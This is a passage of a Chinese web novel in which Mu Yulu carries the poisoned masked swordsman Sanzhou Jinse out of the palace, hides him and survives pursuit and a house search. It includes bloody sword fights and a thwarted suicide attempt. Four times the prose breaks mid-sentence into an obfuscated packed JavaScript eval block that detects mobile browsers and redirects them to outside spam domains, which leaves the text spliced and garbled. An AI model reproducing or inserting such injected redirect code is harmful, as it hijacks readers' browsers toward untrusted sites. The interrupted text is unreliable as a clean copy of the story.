三州堇璱轻功卓绝，身形仍旧飘逸，只不过他的呼吸明显变得急促了许多，每一次纵跃都不如之前那般轻松，落地时甚至还有一些轻微的踉跄。 风问棠则死死黏住三州堇璱，不给他一点喘息之机，每一剑都朝着致命处刺去。 三州堇璱强忍住毒发时在经脉中肆虐的寒意，如风中残烛般向后飘退，长剑斜撩，试图以巧劲化解风问棠的剑势。 然而风问棠的攻势太猛，一记又一记凶狠的斜劈直扫三州堇璱腰际，这根本不是只以巧劲化解得了的。 两剑相撞，火星四溅，三州堇璱只觉得一股巨力传来，震得他手臂发麻，本就凝滞的内息更是一阵翻涌。 他眼前阵阵发黑，脚下连退数步，后背重重地撞在冰凉的汉白玉栏杆上，这才勉强稳住身形。 鲜血再次溢出嘴角，滴落在了他浅粉色的衣襟上，他抬手捂住胸口，又呕出一口血来。 风问棠在下一秒将手中长剑抵在了他的心口上。 三州堇璱抬眼看他：“出手这么狠，你就这么恨我？” 风问棠没有回答他，只是将手中的剑往前移动了一寸，剑尖刺入他的胸膛，很快有鲜血溢了出来。 三州堇璱抬起手用力地握住剑刃，阻止它继续向前，“你比那三皇子还想杀我，我很好奇到底是为什么？” “还有力气说话，看来是伤得不够重。”风问棠终于开口说话，他用力将剑往后一拔，将三州堇璱的手掌划出一道深可见骨的伤痕，然后再次挥剑朝前刺出。 在这千钧一发之际，沐毓露及时赶到，她来不及出声制止风问棠，猛地从湖边假山背后扑了出来，毫不犹豫张开双臂，用自己的身体挡住了风问棠刺出的剑。 风问棠陡然一惊，手中的剑在距离沐毓露不足半尺的地方硬生生顿住。 她没有回头去看风问棠，而是保持着方才的姿势，用自己的身体护住三州堇璱。 抬手抚上他胸膛处仍在不断往外渗血的伤口，她感到掌心传来一阵冰凉黏腻。 沐毓露微微一愣。 为什么？ 为什么他流出来的血不是滚烫的，而会带着寒意？ 风问棠持剑站在原地，蹙眉注视着眼前这一幕，想要劝沐毓露离开，喉结酸涩地滚动了一下，却怎么也张不了口。 三州堇璱自然注意到了风问棠的迟疑，他抓住这个机会，强压下几乎要吞噬他的神智的寒毒剧痛，闷哼一声，一把揽住了沐毓露微微颤抖着的腰肢。 “抱紧我。”三州堇璱的声音低沉急促，话音还没有落地，沐毓露便感到一阵大力从腰际传来，身体被瞬间带入一个带着浓烈血腥气的怀抱。 下一秒耳畔传来呼啸的风声，她下意识抬起手臂紧紧环住三州堇璱的脖颈，将脸埋在他坚实的肩头。 便是趁风问棠犹疑的这一瞬，三州堇璱带着她以极快的速度朝宫墙外飞去。 被三州堇璱紧紧揽在怀里的沐毓露此刻只觉得天旋地转，耳畔风声呼啸犹如鬼哭，下方的宫阙殿宇如同模糊的幻影飞速倒退。 她不由回想起这一世第一次与三州堇璱相见时的场景，想起三州堇璱毫不犹豫松手，把她从空中扔下去的瞬间。 于是她瑟瑟发抖地往他的怀里钻，八爪鱼似的紧紧搂住他。 三州堇璱注意到了沐毓露的紧张，不知道他是不是也想起了与她初见时的场景，犹豫了片刻，他用一只手紧紧地护住了她的脑袋，将她的头往自己的胸膛上靠。 刚一靠近沐毓露便感受到了他胸膛剧烈的起伏，甚至听见了他带着血腥味的沉重喘息。 冰冷的汗水浸透了他肩头的衣料，那寒毒正在他五脏六腑间游走，冰凉的寒意隔着衣衫都能让沐毓露感到心惊。 “你……”沐毓露刚想开口询问，却被灌入口中的疾风呛住。 三州堇璱没有低头看她，此刻他所有的注意力都集中在这场逃亡之上。所幸今晚大部分的御林军都被穆衾寒调走，被大殿中的混乱所牵制，三州堇璱带着沐毓露掠过重重宫墙，就这样一路畅通无阻地冲出了皇城。 京都的街道在脚下展开，没有了宫殿的灯火，夜色变得更加深沉。 离宫之后，三州堇璱的速度终于不可避免地慢了下来，每一次纵跃都显得异常沉重，就连身形也开始摇晃。 他强撑着又飞掠了一段距离，直到离沐府还有两条街道时，终于支撑不住，抱着沐毓露拐进了一个小巷，重重地坠落在了地上。落地的瞬间他下意识将沐毓露护在怀中，用自己的后背承受了大部分的冲击力。 大口大口的鲜血伴随着剧烈的咳嗽从三州堇璱口中涌出，染红了身下的碎石，也染红了他胸前的衣襟。 沐毓露从他的怀中挣脱出来，顾不上自己的狼狈，慌忙扶住他冰冷颤抖的身体。见他如此痛苦，似乎已经有些呼吸不上，她下意识抬手想要帮他摘下面具。 却被他一把拦住。 沐毓露是真的没有想到，都已经到这种关头了，他居然还如此防备着，不许她摘下他的面具。 他紧紧抓住她的手腕，声音微弱得几乎要被夜风吹散：“我体内寒毒发作，没办法运行内力，别管我了，你走……回家去……” 他们都很清楚，虽然已经逃出了皇宫，但是危机还远远没有解除。 三皇子的追兵此刻肯定也已出宫，而三州堇璱已经是强弩之末，他没有力气继续往外逃出京城。 对于沐毓露来说，躲回沐府就是此时最好的选择。 三州堇璱的意识已经有些昏沉，此刻他躺在沐毓露怀里艰难地喘息着，是她从未见过的脆弱模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541712|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她犹豫了几秒，在这短短的几秒钟里她的内心天人交战。 见到他毒发的时候她心里的恐慌其实已经战胜了理智，那一瞬间她的确是想扔下他独自逃跑的。 方才她之所以敢用自己的身体护住他，是因为她知道风问棠无论如何都不会伤害她，所以她才能生出那样的勇气，在风问棠挥剑刺向他的时候不管不顾地扑过来。 可是此刻追杀他们的是三皇子的人，他们才不会管她是谁，恐怕会在捉拿三州堇璱的时候顺便一刀把她给砍了。 她已经死过一次，却并没有因此消解对死亡的恐惧，也许是前世实在死得太惨，如今重活一世的她比从前还要畏惧死亡。 她的确不想他死，可若是自己付出生命的代价也不一定救得下她，那她便要重新考虑一下了其中的利害得失了。 方才见到她和三州堇璱一起离开的人只有风问棠，除此之外谁也不知道她去了哪里，她可以肯定风问棠一定不会出卖她，此刻她只需要扔下三州堇璱独自回府，便算是与这个刺杀皇子的刺客撇清了关系。 这件事情说到底是朱雀皇室的内斗，跟她一点关系都没有，她何苦要把自己搭进去？ 就在她已经快要说服自己丢下三州堇璱独自离开的时候，脑海里突然响起了一道微弱的声音，那声音虽小却很坚定。 是她自己在告诉自己，他曾经救过她，在她被所有人唾骂厌弃的上一世，他是唯一一个向坠入深渊的她伸出手来的人。 真的要在这种时候抛下他么？ 沐毓露急得红了眼睛，眼泪断线珠子一般往下掉。 她随即又想，前世他的确救她于危难，但对于他来说那不过是举手之劳，他从那群土匪手中救下她，甚至没有弄脏他的一角衣袍。 但此刻她若是想要报恩，想要救他一条性命，那可是要搭上她自己的一条命。 最关键的是即便如此也未必救得下他。 值得吗？ 这显然是很不划算的。 做下抛弃三州堇璱这个决定固然是艰难且痛苦的，但沐毓露胜在心态好，她不停地开导着自己，就当她是跟在沐玉罡身边耳濡目染学坏了吧。 反正她也从来不是什么好人。 做生意尚且要权衡利弊，得不偿失的事情不能做，何况眼前这档子事儿绝非生意场上的事情可比，一不小心赔进去的可是一条小命。 就算三州堇璱前世救过她，她刚才替他挡了一剑，从前的救命之恩已算是还了，她不欠他什么。 把心一横，咬了咬牙，她最后低头望了三州堇璱一眼。 见到他虚弱地躺在自己怀里，像是一朵枝头的花被狂风骤雨打进了泥土地里，全然没有了从前飘逸若仙的模样，沐毓露心中一痛。 她不断地在心里对他说着对不起。 抬起手颤颤巍巍地将他从自己怀里挪开。 双手触碰到他冰凉的身体的那一刻，她整个人都跟着颤了颤。 下一秒，她背着三州堇璱摇摇晃晃地从巷子里跑了出来。 60. 第60章 不管怎么说，他们之间曾有过约定，算得上是盟友。抛弃盟友这种事情，她沐毓露做不到。 三州堇璱虽然瘦削，身材却很高大，且他常年练剑，隔着衣衫沐毓露也能感受到他坚实的肌肉。 背着他逃命就像是背着一块秤砣。 三州堇璱强撑着不让自己陷入昏迷，但他确实是一点力气也没有了，只能趴在沐毓露的背上无力地道：“放我下来……你自己走……” 沐毓露一边踉踉跄跄地穿梭在巷子里，一边气喘吁吁地回复他：“你别说话了，省点力气。” “我看话本里你们这种武林高手中毒之后不是能自行调息，暂时压制住毒素的么？” “有这个工夫劝我把你放下来，不如赶紧试试怎么压制毒素，这样我们两个人就都不用死了。” 她说这话一方面是为了鼓励自己，缓解一下紧张的气氛，再这样奔逃下去她的体力还没有耗尽，心态就已经先崩溃了。 另一方面她是真的想活啊，她都已经决定跟他同生共死了，那就求求他赶紧歇了让她独自离开的心思，想想有什么办法压制毒素才是眼前最要紧的事情。 此刻她也算是把命赌在他的身上了。 身后追兵的脚步声已经逐渐响起，虽然这些巷子七拐八绕，如蛛网一般密集，一旦躲了进去，寻常人是很难立马搜查到的。但无奈三州堇璱身上的血腥味实在是太重了，被夜风一吹，浓郁得甚至能飘到巷子外面去。 沐毓露小时候钻狗洞就是为了到这些巷子里来玩儿，因此她对这里的地形十分熟悉，可以带着三州堇璱跟那些追兵玩躲猫猫。 但这不是长久之计。 再这样继续耗下去，他们会被源源不断的追兵包围，她迟早会无路可逃，被他们堵在巷子里乱剑捅死。 更糟糕的是，三州堇璱不仅没能压制住体内的毒素，反而看起来更痛苦了。 冰凉的血液顺着他的衣襟渗到了沐毓露的肩上，她再一次咬了咬牙，带着他钻进了一个废弃的院子里。 那院子里有一口枯井，她打算把他藏进这里。不过在将他藏进井里之前，还得先想办法掩盖一下他身上的血腥味。 将三州堇璱在井边放下，她抓起地上的泥便往他身上涂。 还好昨晚下了一场雨，这些土都还比较湿润。 “这口井不是很深，你只要能暂时压制住毒素，就能够跳出来。”她一边往他身上涂泥一边嘱咐着：“出来之后不用找我，立即往京城外边跑，也许还有一线生机。” 现在的三州堇璱是前所未有过的狼狈，从来一尘不染的衣衫上此刻满是血污，还被沐毓露涂满了脏兮兮的泥土。 但这也是无可奈何的事情，沐毓露不放过每一个地方，握住他那双修长白皙的手，咬了咬牙也往上面涂了些灰扑扑的泥。 做完这一切，她扫视了周围一圈，从废弃的后院搬来一些杂草，也放在了枯井旁边。 “等下把你扔进去之后，我就用这些枯草把井口盖住，能拖一时是一时。”她蹲下身子对三州堇璱道：“想办法压制住毒素，然后立即离开这里，这是唯一的机会了。” 说完这句话，下一秒她抬手摘下了他脸上的面具。 尽管已经做好了心理准备，但是摘下面具的一瞬间，沐毓露还是倒吸了一口凉气。 这是何等绝色的一张脸。 狰狞面具底下的这张脸，白皙犹如深冬新覆的雪，透着一股重伤失血后的冷意与脆弱。 他的美并非皮相，而是骨相极好的美，棱角分明却不显刚硬，不管是下颌线还是鼻梁的线条，都优雅得恰到好处，看起来竟有一种女子的精致与柔和。 猝不及防被沐毓露摘下面具，他的第一反应是逃避地别过脸去，眼睫微颤，如鸦羽般投下浅浅的阴翳。 沐毓露看得呆住了，她不合时宜地想，没有了面具的遮掩，他连最后一丝“人”的气息都没有了，整个人像是一幅精心绘就的工笔画在她的眼前展开。 好看得她没办法用语言去形容。 他真像极了一树娇艳的花，身上的伤反而让他透露出一种花树在风雨中饱受摧折般的易碎美。 巷子里杂乱的脚步声终于让她从这惊人的美色中回过神来，她手忙脚乱地抹了一把泥想要往他的脸上涂，手都快伸到他的脸上了，最后还是放弃了。 往如此绝色的脸上抹泥这种事情她沐毓露也做不到。 三州堇璱轻轻地吸了一口气，他好像做了很久的心理建设，才终于微微转过头来，正想开口对沐毓露说些什么，话还没有说出口，人就被扔进了井里。 枯井里也有许多的杂草，有它们垫着，被扔下去倒也并不感觉疼。他倚靠在井壁上抬头去望，然后便看见更多的杂草被扔了下来，正好砸在他的身上。 紧接着井口探出沐毓露的脑袋，她借着月色往下张望了一番，满意地说了一句还好摔下去的时候没伤到脸，然后就消失在了井口。 三州堇璱：“……” 沐毓露在井外忙碌了一番，把井口周围的血迹都处理掉，再用枯草做了些掩饰，然后她一手抓起三州堇璱的青铜面具，另一只手拿起他的剑，转身冲出了这间废弃的院子。 面具是用来吸引追兵的，那柄剑是用来自刎的。 离开院子之后她拼了命地朝反方向跑，在距离那间院子两三条巷子的位置扔下了手中的面具。 她知道追兵们看到面具之后很快就会追过来，她能为三州堇璱拖延的也只有这一点时间了。 手中的剑在月华下散发着清冷的光辉，剑柄上黏糊糊的，都是她掌心浸出的汗。 真到了生死关头，她其实还是害怕的。 但是怕归怕，既然已经做出了决定，她就绝不后悔。 不就是死么，拔剑自刎总比被一条白绫吊死要痛快得多，因为报答恩情而死总比因为追求一个求而不得的男人而死要有价值得多。 她没什么遗憾了。 身后的脚步声越来越多，也越来越近，而她的力气已经快要耗尽，双腿好像灌了铅，怎么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546398|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑不动了。 她又开始不合时宜地胡思乱想，要是这一次还能福大命大活下去，那她今后一定要好好锻炼，每天都绕着天下第一楼跑五十圈，每个月都去爬一次山，非把自己锻炼得跑十公里都不喘气才可以。 此刻她的脑子里已经被乱七八糟的想法塞满了，现在真的被那些追兵追上了，她反而不像刚才那般恐惧。 气喘吁吁地停下步伐，她反倒有一种解脱了的感觉。 不待那些追兵开口问她，她先插着腰喘着气开口道：“你们不用问我把他藏在了哪里，我是不会告诉你们的。还有，他很快就要恢复内力了，我劝你们不要再继续找他，他要是知道我死了，一定会把你们都杀光的。” 说完她立马就抬起手把剑架在了自己的脖子上，狠了狠心用力往下一划—— 然而想象中的剧痛并没有从脖子的位置传来，甚至剑刃还没有真正触及到她的皮肤，她的手便被另一只冰凉而宽大的手握住了。 她惊讶地回头去看。 是三州堇璱。 他的唇角残留有一道干涸的血迹，身上还有许多沐毓露刚才涂抹的泥，这一副尊容若是换了旁人肯定狼狈无比，可是那些泥和血迹出现在三州堇璱的身上，却全然不能掩盖住他绝美的容颜。 他站在月色中，整个人好像都在发光。 沐毓露又看呆了眼。 三州堇璱微微俯身，冰凉的唇贴在她的耳畔，轻轻地说道：“专心对敌。” 沐毓露点了点头。 随即她反应过来，什么专心对敌，谁专心对敌，我吗？！ 他的手掌覆上了她握剑的手背，带着不容置疑的掌控，瞬间稳住了她微微发颤的指尖。 下一秒他便引着她挥出了手中的利剑。 那柄剑在她的手中原本就是一个死物，可是此刻仿佛被注入了灵魂，剑尖嗡鸣，在他的引领下划出一道清冷流畅的弧光。 长剑精准地挑开斜刺里劈来的两柄刀，然后飘逸地往后一划，瞬间就割破了那两个追兵的咽喉。 三州堇璱的身形随之而动，染了血的粉色衣衫在风中翻飞，更让他显得像是庭中的一株花树了。 足尖在微湿的泥地上轻点，他带着她如流风回雪般在空中飞舞，巧妙地避开那些追兵的劈砍。剑势不止，手腕一沉一带，剑刃便贴着对方兵刃的缝隙滑入，顺势一抹，血线飙飞。 他杀人的手法很残忍，并非一击毙命，而是刻意地割喉放血，让他们活生生忍着疼痛血尽而亡。 沐毓露哪里见过这种场面，紧张得想要闭上眼睛，却听见三州堇璱在她身后问：“刚才就是他们逼得你要拔剑自刎？” 他的声音不轻不重，刚好周围一圈的人能听得见。 沐毓露怔了一下，周围那一圈追兵也是满脸的震惊。 谁逼她拔剑自刎了？ 他们刚刚才追上她，都还没得来得及问她一句话，她自己先叽里咕噜地说了一大堆，然后举起剑就要自杀。 真没人逼她啊！ 61. 第61章 他们很想逃，可是已经逃不掉了。 说完那句话三州堇璱便引剑而动，握着沐毓露的手，借着她腕间的微力，却爆发出惊人的速度和力量，在狭窄的包围圈中腾挪闪动。 剑光如匹练，似游龙，每一次出剑都简洁至极，毫无花哨，却又总是能直指要害。 他的身形又恢复了谪仙般的飘逸，敌人的刀锋总在毫厘之间擦衣而过，却连他和沐毓露的衣角都碰不到半分。 仅仅几个呼吸间，那些追兵就接连倒下。 最后只余一名追兵惊恐地往后退，他抓起一名同伴的尸体往前一掷，然后转身就跑，试图遁入小巷的阴影里。 三州堇璱牵着沐毓露的手，手腕只是极轻微地一抖，长剑脱手而出，瞬间钉入那人的后背。 一切归于死寂。 月光洒落，照亮了地上横陈的躯体，三州堇璱缓缓松开了覆在沐毓露手背上的手。 沐毓露惊恐地吐了一口气，旋即又欣喜地回过身去：“太好了，你恢复内力了？” 却见三州堇璱的脸色比方才还要苍白，他身形一晃，玉树倾颓般向后倒去。 沐毓露连忙扶住他，然而她也已经没有了力气，最后只能和他一起跌坐在地。 他再次无力地倚在她的怀里呕出鲜血。 沐毓露手忙脚乱地帮他擦拭着。 不对呀，这和话本子里写的不一样，话本里的盖世英雄在身中奇毒之后能够暂时压制住毒素，直到彻底脱离了危险才会再次复发。 现在他们还远远没有脱离危险，巷子里还有很多追兵呢。 沐毓露把这一番话原原本本地告诉三州堇璱，想要劝他振作起来。 却见他控制不住地一口接一口呕出鲜血。 他又一次抬手握住她的手，只是这一次他只能虚虚地握住她，再也没了方才的力量。 “我方才强行运功，体内毒素已经蔓延到了心脉，没办法再继续压制了。”他再一次让她抛下他：“别管我了，自己走。” 沐毓露在心里叹了口气，艰难地从地上爬起来，咬着牙再一次把三州堇璱背在了背上。 “我要是打算抛下你，刚才就已经扔下你自己走了，还用得着等到现在。”她一步一个踉跄地往巷子外面跑：“这一次咱俩要是能够逃出生天，你可一定要记得我的恩情。” 汗和血一起从她的脸颊滴下。 为了保持清醒，她咬破了自己的舌尖。 方才引开追兵的时候她真的觉得自己无论如何都跑不动了，可是现在将三州堇璱背在背上，她突然又爆发出了惊人的力气，带着他没命地跑，继续七拐八绕地在巷子里穿梭着。 把三州堇璱藏在巷子里这个法子已经行不通了，他现在没有办法压制毒素，将他扔在这里就是在让他等死。 虽然她现在背着他玩命地跑好像也跟等死没什么两样。 将余下的追兵都绕进了巷子里，她转身朝巷外跑去。 能拖一时是一时，能抓住一分希望是一分希望，她真的还不想死。 上气不接下气地跑到巷口，一抬眼看见一辆马车。 她下意识想往后退，却被从马车上跃下来的人一把攥住了胳膊，与此同时一个脑袋从马车里探了出来：“沐姐姐，快点上马车！” 马车里的人居然是齐知止兄妹。 沐毓露犹豫了一下，她原本不想让齐知止他们也牵连进这件事情里，可是感受到背上那具身体传过来的冷意，她咬了咬牙，还是跟随齐知止一起上了马车。 马车无声地离开巷口，迅速隐入了夜色。 沐毓露惊魂未定，此刻稍微安定下来，她浑身都在发抖。 齐知止沉默地注视着她，然后将自己的外衫脱下来罩在了她的身上。 齐知秋却是一张嘴说个不停：“我们一听说宫里出了事，立马就过来找你了。哥哥听说这件事情与三州堇璱有关，他就知道你肯定也会被牵连进去。” “还好我和哥哥今天都没有入宫，否则还救不下你。你说你怎么把自己弄成这个样子？你这么拼命就是为了救他？他就是三州堇璱？我看他长得也就……” 齐知秋一边说着一边低头去看，在看见三州堇璱那张脸之后她所有的话都堵在了嘴边。 最后吐出来一句：“他确实是长得好看，不是一般的好看，简直是举世无双的好看。” 说着她伸出手就想摸他的脸：“这个世界上怎么可能有人长得这么好看？不可能，绝对不可能，他一定是戴了人皮面具。” 然而她的手刚伸到半空中就被齐知止打了回去，他沉着脸问沐毓露：“接下来你打算怎么办？” 沐毓露抬起头恍惚地望了他一眼，然后又低头观察着三州堇璱的状况，最后她道：“劳你们把我送到京郊，我带着他继续逃。” 齐知秋瞪大了眼睛：“你疯了？三州堇璱刺杀皇子，现在全京城戒严，连一只苍蝇都飞不出去。” 沐毓露点了点头，她的精神还很恍惚，但思绪并没有乱：“那一刻钟之后你们再把我送回那个巷子，我带着他一起在那里藏一晚。” 最危险的地方就是最安全的地方。 他们从那个巷子里逃了出去，短时间内那些追兵应当不会再搜查那里。 三州堇璱毕竟是穆衾寒的人，穆衾寒到底不是吃闲饭的，他一定不会纵容三州堇璱就这样落入三皇子的手里，这件事情最迟明天就会有一个定论，她还是很相信穆衾寒的手段的。 所以只要能撑过这一晚，他们应当就安全了。 却听见齐知止从容不迫地安排道：“我们现在送你回沐府，回去之后你就在自己的院子里待着，今晚无论发生了什么事情都与你无关。” 他加重了语气道：“记住了，你什么都不知道。” 沐毓露使劲儿地摇头：“那三州堇璱呢？他怎么办？” 齐知止语声沉稳，显然是已有打算：“我会把他带回齐府，今晚齐府的人从头到尾都没有出现过，三皇子就算要大张旗鼓地搜查，也查不到我们的头上来。” 沐毓露还是摇头：“那太危险了，万一查到了齐府呢？岂不是连累你们？” 齐知止吩咐车夫立刻赶往沐府，然后不容置疑地道：“齐府有很多的机关暗道，他们就算要查，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551339|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那么轻易就能找到人的。” 沐毓露还是不放心：“可是……” 可是后面的话还没有说出来便被齐知止打断：“这是眼下最好的方法，也是唯一一个能够保全你们两个人的法子。等今晚风头一过，我会把他转移到天下第一楼，到时你还可以来看他。” 沐毓露沉默了。 齐知止所言不错，这法子确实比她设想的藏在巷子里更加稳妥。 一时间谁都不再讲话，车厢里顿时安静下来。齐知秋望一眼面色沉沉的齐知止，又望一眼满脸忧色的沐毓露，见他们都不开口，于是她也讪讪地闭上了嘴巴。 直到马车安全地行至沐府门口，齐知止才开口问沐毓露：“你有没有受伤？” 听到齐知止的声音沐毓露才回过神来，她垂首望了一眼自己裙子上的鲜血，然后摇了摇头。 她身上的血都是三州堇璱的，方才的逃亡虽然惊险，但除了舌尖上她自己咬破的那个伤口之外，她居然没有受到一点别的伤害。 齐知止抬手替她掀开车帘：“如果一切顺利的话，明天我们在天下第一楼见。” 沐毓露点了点头，感激地对齐知止兄妹道了一声谢，再回首望了陷入昏迷的三州堇璱一眼，然后提起裙摆跃下马车。 现在情况紧急，她就算有再多的话想说也只能等到明天。 今晚来给她开门的是心云，皇宫里的动静闹得如此的大，沐府的人自然也是有所耳闻。 打开门见到沐毓露的一瞬间心云便立刻扑了过来，看见沐毓露浑身都是血，她急得直掉眼泪：“小姐，你怎么了？你是不是受伤了？” 沐毓露牵起她的手往院子里走：“衣服上的血不是我的，现在没办法跟你细说，我们先回院子。” 心云被沐毓露攥住了手，一边惊觉小姐的力气怎么变得比以前更大了，一边着急地在她身后道：“小姐，我守在门口就是为了等你，老爷和夫人现在都在我们的院子里，他们商量着不给你开门，或是等你回来了直接把你捆了交给三皇子！” 听见这话沐毓露的脚步也只是顿了一顿。 然后她继续往后院走，果然远远地便看见自己的院子里灯火通明。 夜已经很深了，还有这么多人守在她的院子里。 沐玉罡和沐昭氏脑袋凑在一起，显然还在商议着什么，见到沐毓露回来，他们二人张口就要喊住她，与此同时院子里的小厮们蠢蠢欲动，只待老爷夫人一声令下，他们就会立即冲上来捆了她。 然而在看见浑身浴血的沐毓露时，他们一张口先是变成了惊恐的嚎叫：“你你……你怎么弄成这个样子？” 沐毓露像是没看见他们似的，径直穿过人群，直接走进了屋子，等在院子里的默合也赶紧跟着她走了进去，还顺便关上了房门。 一进屋沐毓露就开始脱衣服，“默合，给我拿一身新衣服来，心云，我脱下来的这件衣服不管是烧是埋，立刻处理掉。” 她的反应已经算是很快了，然而衣服都还没有脱完，屋外又传来了一阵杂乱的脚步声。 “皇城司办案，搜查刺客，无关人等立刻退离！” 62. 第62章 来不及思索皇城司属于谁的势力，他们是穆衾寒的人还是三皇子的人，沐毓露一把将脱下来的血衣从心云手里抢过来，然后迅速塞进了被子里。 下一秒房门就被人推开，一道身影从门外疾步而来，在看见沐毓露的一瞬间，他似乎倒吸了一口凉气，然后开口对门外的人喝道：“都在门口守着，不许进来。” 来人是穆衾寒。 而此刻的沐毓露脱得就只剩一件肚兜了。 今晚经历了这么多意料之外的变故，虽然险象环生，最后却都是有惊无险，她的心态已经被锻炼出来了，其实此刻心里很镇定。但是在看见穆衾寒闯进房间的时候，她还是故意尖叫了一声，一下子就跳到了床上去，用被子掩住自己的身体，顺便把那件染血的衣服再朝里踢了踢。 穆衾寒微微眯了眯眼，然后问她：“你为什么不在皇宫？什么时候回来的？” 沐毓露挤出两滴眼泪：“宫殿里打成那个样子，我趁乱跑出去了，一路跑回沐府，现在才到家。” 她的声音带着哭腔，语气里甚至还有一点委屈。 刚才进门时穆衾寒一身的肃杀之气，在看见沐毓露的一瞬间那肃杀之气就少了一半，听见她这样说，此刻他的脸色简直称得上是温和了。 沐毓露自然也知道，她的这个说辞肯定是骗不过穆衾寒的，但穆衾寒的神色就是突然变了，身上的气场也由严肃变得轻松。 他最后望了沐毓露一眼，那一眼的神色很是复杂，复杂到让沐毓露产生了一种其实他什么都知道的感觉，仿佛今晚查到沐府头上只是为了来这里确认她的平安。 抬眼与穆衾寒对视的一瞬间，她甚至感受到他的目光里有一丝安抚之意。 穆衾寒不再问什么了，他一言不发转身离开，甚至还贴心地帮她关上了门。 紧接着门外传来他低沉的声音：“沐府没有嫌疑，不必再查。” 火把和灯笼的亮光渐次消失，一行人来得风风火火，撤得也十分的快。 屋外的沐玉罡甚至还没有反应过来到底发生了什么，沐府就已经被洗清了嫌疑。 沐昭氏紧张兮兮地凑过来问：“穆王爷的人已经来查过了，但三皇子的人还没有来，毕竟这丫头是跟三州堇璱定了亲的，怎么可能洗得清嫌疑？我们还是趁现在把她捆了交上去吧？” 沐玉罡皱紧了眉头：“不妥，既然此刻是穆王爷的人来，那极有可能他已经掌控了宫中的局面，否则刚才来的就该是三皇子的人了。我们现在把她交出去，岂不是跟穆王爷对着干？” 沐昭氏抚了抚狂跳的心口，还是很不安地道：“原本我们只是担心宫里会因为她跟三州堇璱的关系来找沐府的麻烦，但是你看那丫头刚才的样子，她这都不是有嫌疑了，根本就是坐实了跟逃犯有染呀！现在不把她交出去，等到三皇子查到我们头上，那我们岂不是只剩一个死字？” 沐玉罡无奈地拍了下大腿：“你以为我就不担心了？现在这个局面，若是不交出她，等到三皇子查到我们头上，谁都难逃一劫。但是你看穆王爷方才急匆匆的样子，我们若是交出了她，那现在立马就是一个死！” 沐昭氏急得一个劲儿地哭：“缩头是一刀伸头也是一刀，她根本就是个烫手山药！那你说现在该怎么办？” 沐玉罡沉吟着道：“不急，情况也还没有糟到那个地步。前段时间我不是跟你说过，三皇子那边已经松了口，他留了一个侧妃之位，那个位置就是给我们沐家女儿的。” 他一副志在必得的样子，压根不给沐昭氏插话的机会：“我早就给你讲过了，嫁女儿不是这么简单的，不能够只由着她的心意。你自己说，要是晚意现在已经是三皇子侧妃，我们还用得着这么提心吊胆吗？” “再说了，嫁给三皇子有什么不好，那直接一跃成为主子了呀。我没有儿子，这辈子沐府注定于仕途无望，难道你希望我们一辈子都只是个商贾之家？” “那女儿家又不能科考，若想要摆脱商贾之名，唯一的法子就是嫁人。三皇子已经是最好的选择了，你还老是纵着晚意胡来，还老说我不疼她，我还要怎么疼她？” “你以为我不知道，她是不是喜欢齐家那小子？真想一辈子做个商人，以后子子孙孙都是商贾啊？我告诉你，想都别想，只有我的眼光才是最长远的……” 屋外沐玉罡的声音渐行渐远，直到最后一抹灯笼的光消失在了窗外，沐毓露才算是真正松了口气。 她不是不知道方才就这么贸然回府会给沐府带来很大的危险，倘若刚才来的不是穆衾寒而是三皇子，那整个沐府都有杀身之祸。 但也正因如此，她才这么果断地进府，她就是赌沐玉罡还留有后路，事已至此他必须要想办法保她，否则就只能眼睁睁看着她连累全家。 不过还好，来的人不是三皇子。 一场祸事就这样消弭于无形。 沐毓露疲惫地躺倒在了床上，想想觉得有些可笑，方才应当是她重生之后第一次如此希望来的人是穆衾寒吧。 此刻躺在床上，她真的觉得累极了，几乎刚一沾上枕头就睡着了，这注定难以太平的一夜终究还是熬过去了。 第二天沐毓露起得很早，天刚刚亮她就起来洗了个澡，并且吩咐心云默合偷偷出去打听一下昨晚的事情到底是怎么个结果。 没想到刚换好衣服她们二人就回来了。 心云连水都没来得及喝一口，喘着气对沐毓露道：“小姐，应当没什么事了，街上一切正常。我们打听了一下，说是朝廷昨晚就把刺客都抓住了，京城里的禁令也都解除了，今天一早便城门便已打开，所有人都可以正常进出。” 沐毓露听罢心中了然，看来昨天晚上在所有人都看不见的地方，穆衾寒与三皇子的角逐终究是分出了高下。 她点了点头，嘱咐她们留在府中休息，顺便注意一下沐玉罡和沐昭氏的动静，然后便匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 